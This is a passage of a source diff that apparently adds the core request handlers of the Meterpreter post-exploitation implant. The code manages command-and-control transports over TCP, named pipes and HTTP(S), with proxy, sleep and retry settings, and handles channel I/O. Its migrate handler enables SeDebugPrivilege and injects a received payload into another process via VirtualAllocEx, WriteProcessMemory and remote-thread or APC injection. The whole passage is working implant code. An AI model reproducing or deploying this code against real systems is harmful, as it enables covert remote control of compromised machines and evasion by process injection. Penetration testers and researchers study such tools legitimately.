sizeof(COMMONMIGRATECONTEXT)); + + if (*contextBuffer == NULL) + { + return ERROR_OUTOFMEMORY; + } + + *contextSize = sizeof(COMMONMIGRATECONTEXT); + + return ERROR_SUCCESS; +} + +DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) +{ + DWORD result = ERROR_NOT_ENOUGH_MEMORY; + Transport* transport = NULL; + wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + + TimeoutSettings timeouts = { 0 }; + + int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); + timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); + timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); + + // special case, will still leave this in here even if it's not transport related + if (sessionExpiry != 0) + { + remote->sess_expiry_time = sessionExpiry; + remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; + } + + if (timeouts.comms == 0) + { + timeouts.comms = remote->transport->timeouts.comms; + } + if (timeouts.retry_total == 0) + { + timeouts.retry_total = remote->transport->timeouts.retry_total; + } + if (timeouts.retry_wait == 0) + { + timeouts.retry_wait = remote->transport->timeouts.retry_wait; + } + + dprintf("[CHANGE TRANS] Url: %S", transportUrl); + dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); + dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); + dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); + + do + { + if (transportUrl == NULL) + { + dprintf("[CHANGE TRANS] Something was NULL"); + break; + } + + if (wcsncmp(transportUrl, L"tcp", 3) == 0) + { + MetsrvTransportTcp config = { 0 }; + config.common.comms_timeout = timeouts.comms; + config.common.retry_total = timeouts.retry_total; + config.common.retry_wait = timeouts.retry_wait; + memcpy(config.common.url, transportUrl, sizeof(config.common.url)); + transport = remote->trans_create(remote, &config.common, NULL); + } + else if (wcsncmp(transportUrl, L"pipe", 4) == 0) + { + MetsrvTransportNamedPipe config = { 0 }; + config.common.comms_timeout = timeouts.comms; + config.common.retry_total = timeouts.retry_total; + config.common.retry_wait = timeouts.retry_wait; + memcpy(config.common.url, transportUrl, sizeof(config.common.url)); + transport = remote->trans_create(remote, &config.common, NULL); + } + else + { + BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; + wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); + wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); + wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); + wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); + PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); + wchar_t* headers = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_HEADERS); + + size_t configSize = sizeof(MetsrvTransportHttp); + if (headers) + { + // this already caters for the null byte because it's included in the structure. + configSize += wcslen(headers); + } + + MetsrvTransportHttp* config = (MetsrvTransportHttp*)calloc(1, configSize); + config->common.comms_timeout = timeouts.comms; + config->common.retry_total = timeouts.retry_total; + config->common.retry_wait = timeouts.retry_wait; + wcsncpy(config->common.url, transportUrl, URL_SIZE); + + if (proxy) + { + wcsncpy(config->proxy.hostname, proxy, PROXY_HOST_SIZE); + free(proxy); + } + + if (proxyUser) + { + wcsncpy(config->proxy.username, proxyUser, PROXY_USER_SIZE); + free(proxyUser); + } + + if (proxyPass) + { + wcsncpy(config->proxy.password, proxyPass, PROXY_PASS_SIZE); + free(proxyPass); + } + + if (ua) + { + wcsncpy(config->ua, ua, UA_SIZE); + free(ua); + } + + if (certHash) + { + memcpy(config->ssl_cert_hash, certHash, CERT_HASH_SIZE); + // No need to free this up as it's not a wchar_t + } + + if (headers) + { + wcscpy(config->custom_headers, headers); + } + + transport = remote->trans_create(remote, &config->common, NULL); + + free(config); + } + + // tell the server dispatch to exit, it should pick up the new transport + result = ERROR_SUCCESS; + } while (0); + + *transportBufer = transport; + + return result; +} + +DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response = NULL; + + do + { + response = packet_create_response(packet); + + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the session timeout to the top level + packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + + Transport* current = remote->transport; + Transport* first = remote->transport; + + do + { + Packet* transportGroup = packet_create_group(); + + if (!transportGroup) + { + // bomb out, returning what we have so far. + break; + } + + dprintf("[DISPATCH] Adding URL %S", current->url); + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url); + dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms); + dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total); + dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); + + switch (current->type) + { + case METERPRETER_TRANSPORT_HTTP: + case METERPRETER_TRANSPORT_HTTPS: + { + HttpTransportContext* ctx = (HttpTransportContext*)current->ctx; + dprintf("[DISPATCH] Transport is HTTP/S"); + if (ctx->ua) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua); + } + if (ctx->proxy) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy); + } + if (ctx->proxy_user) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user); + } + if (ctx->proxy_pass) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass); + } + if (ctx->cert_hash) + { + packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + } + if (ctx->custom_headers && ctx->custom_headers[0]) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_HEADERS, ctx->custom_headers); + } + break; + } + } + + packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); + + current = current->next_transport; + } while (first != current); + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result) +{ + dprintf("[DISPATCH] Asking to go to next transport (from 0x%p to 0x%p)", remote->transport, remote->transport->next_transport); + if (remote->transport == remote->transport->next_transport) + { + dprintf("[DISPATCH] Transports are the same, don't do anything"); + // if we're switching to the same thing, don't bother. + *result = ERROR_INVALID_FUNCTION; + } + else + { + dprintf("[DISPATCH] Transports are different, perform the switch"); + remote->next_transport = remote->transport->next_transport; + *result = ERROR_SUCCESS; + } + + packet_transmit_empty_response(remote, packet, *result); + return *result == ERROR_SUCCESS ? FALSE : TRUE; + +} + +BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result) +{ + dprintf("[DISPATCH] Asking to go to previous transport (from 0x%p to 0x%p)", remote->transport, remote->transport->prev_transport); + if (remote->transport == remote->transport->prev_transport) + { + dprintf("[DISPATCH] Transports are the same, don't do anything"); + // if we're switching to the same thing, don't bother. + *result = ERROR_INVALID_FUNCTION; + } + else + { + dprintf("[DISPATCH] Transports are different, perform the switch"); + remote->next_transport = remote->transport->prev_transport; + *result = ERROR_SUCCESS; + } + + packet_transmit_empty_response(remote, packet, *result); + return *result == ERROR_SUCCESS ? FALSE : TRUE; +} + +DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + + // make sure we are not trying to remove the last transport + if (remote->transport == remote->transport->prev_transport) + { + dprintf("[DISPATCH] Refusing to delete the last transport"); + result = ERROR_INVALID_FUNCTION; + } + else + { + Transport* found = NULL; + Transport* transport = remote->transport; + wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + + do + { + if (wcscmp(transportUrl, transport->url) == 0) + { + found = transport; + break; + } + + transport = transport->next_transport; + } while (transport != remote->transport); + + if (found == NULL || found == remote->transport) + { + dprintf("[DISPATCH] Transport not found, or attempting to remove current"); + // if we don't have a valid transport, or they're trying to remove the + // existing one, then bomb out (that might come later) + result = ERROR_INVALID_PARAMETER; + } + else + { + remote->trans_remove(remote, found); + dprintf("[DISPATCH] Transport removed"); + } + + SAFE_FREE(transportUrl); + } + + packet_transmit_empty_response(remote, packet, result); + dprintf("[DISPATCH] Response sent."); + return result; +} + +DWORD remote_request_core_transport_add(Remote* remote, Packet* packet) +{ + Transport* transport = NULL; + DWORD result = create_transport_from_request(remote, packet, &transport); + + packet_transmit_empty_response(remote, packet, result); + return result; +} + +BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result) +{ + // we'll reuse the comm timeout TLV for this purpose + DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + + dprintf("[DISPATCH] request received to sleep for %u seconds", seconds); + + // to sleep, we simply jump to the same transport, with a delay + remote->next_transport_wait = seconds; + remote->next_transport = remote->transport; + + packet_transmit_empty_response(remote, packet, ERROR_SUCCESS); + *result = ERROR_SUCCESS; + + // exit out of the dispatch loop + return FALSE; +} + +BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result) +{ + Transport* transport = NULL; + *result = create_transport_from_request(remote, packet, &transport); + + packet_transmit_empty_response(remote, packet, *result); + + if (*result == ERROR_SUCCESS) + { + remote->next_transport = transport; + // exit out of the dispatch loop. + return FALSE; + } + + return TRUE; +} + +/*! + * @brief Set the current hash that is used for SSL certificate verification. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + */ +DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // no setting of the cert hash if the target isn't a HTTPS transport + if (remote->transport->type != METERPRETER_TRANSPORT_HTTPS) + { + result = ERROR_BAD_ENVIRONMENT; + break; + } + + unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + + // Support adding a new cert hash if one doesn't exist + if (!ctx->cert_hash) + { + if (certHash) + { + PBYTE newHash = (unsigned char*)malloc(sizeof(unsigned char)* CERT_HASH_SIZE); + if (!newHash) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + memcpy(newHash, certHash, CERT_HASH_SIZE); + + // Set it at the last minute. Mucking with "globals" and all, want to make sure we + // don't set it too early.. just in case. + ctx->cert_hash = newHash; + } + else + { + // at this time, don't support overwriting of the existing hash + // as that will cause issues! + result = ERROR_BAD_ARGUMENTS; + break; + } + } + // support removal of the existing hash + else + { + if (certHash) + { + result = ERROR_BAD_ARGUMENTS; + break; + } + else + { + SAFE_FREE(ctx->cert_hash); + } + } + + result = ERROR_SUCCESS; + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +/*! + * @brief Get the current hash that is used for SSL certificate verification. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + */ +DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Rather than error out if the transport isn't HTTPS, we'll just return + // an empty response. This prevents a horrible error appearing in the + // MSF console + if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS) + { + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + if (ctx->cert_hash) + { + packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + } + } + + result = ERROR_SUCCESS; + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +/*! + * @brief Migrate the meterpreter server from the current process into another process. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @param pResult Pointer to the memory that will receive the result. + * @returns Indication of whether the server should continue processing or not. + */ +BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) +{ + DWORD dwResult = ERROR_SUCCESS; + Packet * response = NULL; + HANDLE hToken = NULL; + HANDLE hProcess = NULL; + HANDLE hEvent = NULL; + BYTE * lpPayloadBuffer = NULL; + LPVOID lpMigrateStub = NULL; + LPBYTE lpMemory = NULL; + LPBYTE lpUuid = NULL; + LPCOMMONMIGRATECONTEXT ctx = NULL; + DWORD ctxSize = 0; + DWORD dwMigrateStubLength = 0; + DWORD dwPayloadLength = 0; + DWORD dwProcessID = 0; + DWORD dwDestinationArch = 0; + + MetsrvConfig* config = NULL; + DWORD configSize = 0; + + do + { + response = packet_create_response(packet); + if (!response) + { + dwResult = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Get the process identifier to inject into + dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); + + // Get the target process architecture to inject into + dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); + + // Get the length of the payload buffer + dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); + + // Receive the actual migration payload buffer + lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); + + // Get handles to the updated UUIDs if they're there + lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); + + // Get the migrate stub information + dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN); + lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB); + + dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); + + // If we can, get SeDebugPrivilege... + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + { + TOKEN_PRIVILEGES priv = { 0 }; + + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) + { + if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); + { + dprintf("[MIGRATE] Got SeDebugPrivilege!"); + } + } + + CloseHandle(hToken); + } + + // Open the process so that we can migrate into it + hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); + if (!hProcess) + { + BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") + } + + // get the existing configuration + dprintf("[MIGRATE] creating the configuration block"); + remote->config_create(remote, lpUuid, &config, &configSize); + dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); + + if (remote->transport->get_migrate_context != NULL) + { + dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx); + } + else + { + dwResult = get_migrate_context(&ctxSize, &ctx); + } + + if (dwResult != ERROR_SUCCESS) + { + dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult); + break; + } + + // Create a notification event that we'll use to know when it's safe to exit + // (once the socket has been referenced in the other process) + hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (!hEvent) + { + BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); + } + + // Duplicate the event handle for the target process + if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) + { + BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed"); + } + + dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); + + // Allocate memory for the migrate stub, context, payload and configuration block + lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!lpMemory) + { + BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed"); + } + + // Calculate the address of the payload... + ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; + + // Write the migrate stub to memory... + dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); + if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed"); + } + + // Write the migrate context to memory... + dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize); + if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed"); + } + + // Write the migrate payload to memory... + dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength); + if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed"); + } + + // finally write the configuration stub + dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize); + if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed"); + } + + free(ctx); + + // First we try to migrate by directly creating a remote thread in the target process + if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) + { + dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); + + // If that fails we can try to migrate via a queued APC in the target process + if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) + { + BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); + } + } + + dwResult = ERROR_SUCCESS; + + } while (0); + + SAFE_FREE(config); + + // If we failed and have not sent the response, do so now + if (dwResult != ERROR_SUCCESS && response) + { + dprintf("[MIGRATE] Sending response"); + packet_transmit_response(dwResult, remote, response); + } + + // Cleanup... + if (hProcess) + { + dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); + CloseHandle(hProcess); + } + + if (hEvent) + { + dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); + CloseHandle(hEvent); + } + + if (pResult) + { + *pResult = dwResult; + } + + // if migration succeeded, return 'FALSE' to indicate server thread termination. + dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); + return ERROR_SUCCESS == dwResult ? FALSE : TRUE; +} + +/*! + * @brief Update the timeouts with the given values + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + * @remark If no values are given, no updates are made. The response to + * this message is the new/current settings. + */ +DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response = NULL; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); + int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); + DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); + + // TODO: put this in a helper function that can be used everywhere? + + // if it's in the past, that's fine, but 0 implies not set + if (expirationTimeout != 0) + { + dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout); + remote->sess_expiry_time = expirationTimeout; + remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout; + } + + if (commsTimeout != 0) + { + dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout); + remote->transport->timeouts.comms = commsTimeout; + remote->transport->comms_last_packet = current_unix_timestamp(); + } + + if (retryTotal > 0) + { + dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal); + remote->transport->timeouts.retry_total = retryTotal; + } + + if (retryWait > 0) + { + dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait); + remote->transport->timeouts.retry_wait = retryWait; + } + + // for the session expiry, return how many seconds are left before the session actually expires + packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait); + + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +/* + * core_channel_open + * ----------------- + * + * Opens a channel with the remote endpoint. The response handler for this + * request will establish the relationship on the other side. + * + * opt: TLV_TYPE_CHANNEL_TYPE + * The channel type to allocate. If set, the function returns, allowing + * a further up extension handler to allocate the channel. + */ +DWORD remote_request_core_channel_open(Remote *remote, Packet *packet) +{ + Packet *response; + DWORD res = ERROR_SUCCESS; + Channel *newChannel; + PCHAR channelType; + DWORD flags = 0; + + do + { + dprintf( "[CHANNEL] Opening new channel for packet %p", packet ); + + // If the channel open request had a specific channel type + if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE))) + { + res = ERROR_NOT_FOUND; + break; + } + + // Get any flags that were supplied + flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); + + dprintf( "[CHANNEL] Opening %s %u", channelType, flags ); + + // Allocate a response + response = packet_create_response(packet); + + // Did the response allocation fail? + if ((!response) || (!(newChannel = channel_create(0, flags)))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + dprintf( "[CHANNEL] Opened %s %u", channelType, flags ); + + // Get the channel class and set it + newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS); + + dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls ); + + // Add the new channel identifier to the response + if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, + channel_get_id(newChannel))) != ERROR_SUCCESS) + break; + + // Transmit the response + dprintf( "[CHANNEL] Sending response for %s", channelType ); + res = packet_transmit(remote, response, NULL); + + dprintf( "[CHANNEL] Done" ); + + } while (0); + + return res; +} + +/* + * core_channel_open (response) + * ----------------- + * + * Handles the response to a request to open a channel. + * + * This function takes the supplied channel identifier and creates a + * channel list entry with it. + * + * req: TLV_TYPE_CHANNEL_ID -- The allocated channel identifier + */ +DWORD remote_response_core_channel_open(Remote *remote, Packet *packet) +{ + DWORD res = ERROR_SUCCESS, channelId; + Channel *newChannel; + + do + { + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + + // DId the request fail? + if (!channelId) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Create a local instance of the channel with the supplied identifier + if (!(newChannel = channel_create(channelId, 0))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + } while (0); + + return res; +} + +/* + * core_channel_write + * ------------------ + * + * Write data from a channel into the local output buffer for it + */ +DWORD remote_request_core_channel_write(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + DWORD res = ERROR_SUCCESS, channelId, written = 0; + Tlv channelData; + Channel * channel = NULL; + + do + { + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + + // Try to locate the specified channel + if (!(channel = channel_find_by_id(channelId))) + { + res = ERROR_NOT_FOUND; + break; + } + + lock_acquire( channel->lock ); + + // Get the channel data buffer + if ((res = packet_get_tlv(packet, TLV_TYPE_CHANNEL_DATA, &channelData)) != ERROR_SUCCESS) + break; + + // Handle the write operation differently based on the class of channel + switch (channel_get_class(channel)) + { + // If it's buffered, write it to the local buffer cache + case CHANNEL_CLASS_BUFFERED: + res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written); + break; + // If it's non-buffered, call the native write operation handler if + // one is implemented + default: + { + NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; + if (ops->write) + res = ops->write(channel, packet, ops->context, + channelData.buffer, channelData.header.length, + &written); + else + res = ERROR_NOT_SUPPORTED; + } + break; + } + + } while (0); + + if( channel ) + lock_release( channel->lock ); + + // Transmit the acknowledgement + if (response) + { + packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written); + packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); + + res = packet_transmit_response(res, remote, response); + } + + return res; +} + +/* + * core_channel_read + * ----------------- + * + * From from the local buffer and write back to the requester + * + * Takes TLVs: + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to read from + * req: TLV_TYPE_LENGTH -- The number of bytes to read + */ +DWORD remote_request_core_channel_read(Remote *remote, Packet *packet) +{ + DWORD res = ERROR_SUCCESS, bytesToRead, bytesRead, channelId; + Packet *response = packet_create_response(packet); + PUCHAR temporaryBuffer = NULL; + Channel *channel = NULL; + + do + { + if (!response) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Get the number of bytes to read + bytesToRead = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + + // Try to locate the specified channel + if (!(channel = channel_find_by_id(channelId))) + { + res = ERROR_NOT_FOUND; + break; + } + + lock_acquire( channel->lock ); + + // Allocate temporary storage + if (!(temporaryBuffer = (PUCHAR)malloc(bytesToRead))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + switch (channel_get_class(channel)) + { + // If it's buffered, read from the local buffer and either transmit + // the buffer in the response or write it back asynchronously + // depending on the mode of the channel. + case CHANNEL_CLASS_BUFFERED: + // Read in from local + res = channel_read_from_buffered(channel, temporaryBuffer, + bytesToRead, (PULONG)&bytesRead); + break; + // Handle read I/O for the pool class + case CHANNEL_CLASS_POOL: + // If the channel has a read handler + if (channel->ops.pool.read) + res = channel->ops.pool.read(channel, packet, + channel->ops.pool.native.context, temporaryBuffer, + bytesToRead, &bytesRead); + else + res = ERROR_NOT_SUPPORTED; + break; + default: + res = ERROR_NOT_SUPPORTED; + } + + // If we've so far been successful and we have a temporary buffer... + if ((res == ERROR_SUCCESS) &&(temporaryBuffer) && (bytesRead)) + { + // If the channel should operate synchronously, add the data to theresponse + if (channel_is_flag(channel, CHANNEL_FLAG_SYNCHRONOUS)) + { + // if the channel data is ment to be compressed, compress it! + if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) + packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, temporaryBuffer, bytesRead); + else + packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA, temporaryBuffer, bytesRead); + + res = ERROR_SUCCESS; + } + // Otherwise, asynchronously write the buffer to the remote endpoint + else + { + if ((res = channel_write(channel, remote, NULL, 0, temporaryBuffer, bytesRead, NULL)) != ERROR_SUCCESS) + break; + } + } + + } while (0); + + if( channel ) + lock_release( channel->lock ); + + if (temporaryBuffer) + free(temporaryBuffer); + + // Transmit the acknowledgement + if (response) + { + packet_add_tlv_uint(response, TLV_TYPE_LENGTH, bytesRead); + packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); + + res = packet_transmit_response(res, remote, response); + } + + return res; +} + +/* + * core_channel_close + * ------------------ + * + * Closes a previously opened channel. + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close + */ +DWORD remote_request_core_channel_close(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + DWORD res = ERROR_SUCCESS, channelId; + Channel *channel = NULL; + + dprintf("[CHANNEL] remote_request_core_channel_close."); + + do + { + // Get the channel identifier + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + + // Try to locate the specified channel + if (!(channel = channel_find_by_id(channelId))) + { + res = ERROR_NOT_FOUND; + dprintf("[CHANNEL] unable to find channel of id %d", channelId); + break; + } + + // Destroy the channel + dprintf("[CHANNEL] closing channel of id %d", channelId); + channel_destroy(channel, packet); + + if (response) + { + packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); + } + + } while (0); + + // Transmit the acknowledgement + if (response) + { + res = packet_transmit_response(res, remote, response); + } + + return res; +} + +/* + * core_channel_close (response) + * 